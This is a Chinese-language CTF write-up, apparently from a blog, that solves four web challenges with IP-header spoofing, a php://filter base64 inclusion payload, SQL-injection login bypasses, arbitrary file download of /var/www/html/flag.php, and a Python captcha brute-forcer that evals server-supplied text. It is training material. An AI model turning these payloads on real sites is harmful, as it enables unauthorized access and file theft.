CTF题2

题1:ipspoofing

直接访问,查看源码都没发现什么把网页啦到最下面

CTF题2

点击进入后发现是一个登陆界面,在登陆界面查看网页源码,发现用户名和面

CTF题2

直接在网页登陆发提示IP不在范围内,通过Burp抓包登陆看看

CTF题2

发现提示了一个127.0.0.1的IP,伪造一个IP看看,获得flag

CTF题2

题2: phpinfo

直接访问就是一个phpinfo()的放回信息,而且链接变成了 index.php?path=phpinfo.php

尝试去包含以下flag.php,网页是白的并没有报错,查看网页源码也没什么任何消息,肯定是解析了这个文件使用没回显

CTF题2

尝试文件流看看

path=php://filter/read=convert.base64-encode/resource=flag.php
CTF题2
回显了base64加密的数据,解码看看直接就获得了flag
CTF题2

题3:GetFalg

直接访问进入

CTF题2

有一个验证码的提示,但是只给出了​验证码在MD5加密后的前6位,而且刷新网页这个值还会改变。猜测验证验证码是纯数字,但是不行有部分不能跑出来,猜测是数字加字母,自己写写个一个简单的python脚本,通过python脚本猜解验证码

CTF题2

标记的地方就是网页刷新变化的地方,跑下当前的验证码

CTF题2

​得要验证码,用户和密码就找不到提示的地方,用户密码就大胆尝试万能密码,发现报错提示有2个单引号重新制定万能密码: admi' or 1=1

CTF题2

发现是通过2个单引号闭合的变量从新构造万能密码 admin' or  '1'='1

进去后发现3个可以下载的文件,下载后发现没什么信息,于是查看网页源码发现3个文件调用的链接

CTF题2

CTF题2

 

随意拼接一个访问看看http://106.75.26.211:2222//file/download.php?f=hello.txt,发现可以直接下载,尝试文件包含

​猜测尝试去访问根目录下的flag.php,发现../不管怎么调都没真确的,尝试包含绝对路径

http://106.75.26.211:2222/file/download.php?f/file/download.php?f=/var/www/html/flag.php​然后下载到了一个php的文件

CTF题2

 意思是将post参数的flag赋值给变量spaceone然后判断是否为flag,然后用file_get_contents方法返回helloctf.php的内容,注意这里的helloctf.php是做了过滤的,不能用任意文件下载来获取。然后用firefox的hackbar插件post一个flag=flag;​就能读取里面的内容

$f = $_POST['flag'];​

if ($spaceone === 'flag'){

echo file_get_contents("helloctf.php");

}

直接去访问http://106.75.26.211:2222/flag.php然后加上POST的参数

查看源码

CTF题2

​获得flag

题4:pyscript

CTF题2

写个脚本python脚本

import urllib,urllib2,json
import hashlib
import re
import requests
url = 'http://106.75.108.111:1111'
def sha_1(data):
    sha_1 = hashlib.sha1()
    sha_1.update(data)
    sha = sha_1.hexdigest()
    return sha


def key(key1,key2):
    c='0123456789'
    str1 = key1
    cipher = key2
    for i in c:
        for j in c:
            for k in c:
                if sha_1(i+j+k+str1) == cipher:
                    print (i+j+k)
                    return i+j+k
def get_info():
    r = requests.post("http://106.75.108.111:1111")
    key2 = r.headers['Ciphertext']
    cookies = r.cookies
    html = r.text
    res = r'\+(.*?)\)'
    key1 = re.findall(res,html)[0]
    return key1,key2,cookies


def postx(number,cookies):
    cookies = cookies
    values={'pass':number}
    response = requests.post("http://106.75.108.111:1111",cookies=cookies,data=values)
    return response.text


def sum(text):
    res = r'<!--.*?([\d\+\-\*]+).*?-->'
    key3 = re.findall(res,text)[0]
    result = eval(key3)
    return result




if __name__ == '__main__':
    (key1,key2,cookies)=get_info()
    number = key(key1,key2)
    result1 = postx(number,cookies)
    result2 = sum(result1)
    print result2
    print postx(result2,cookies)
跑一下

CTF题2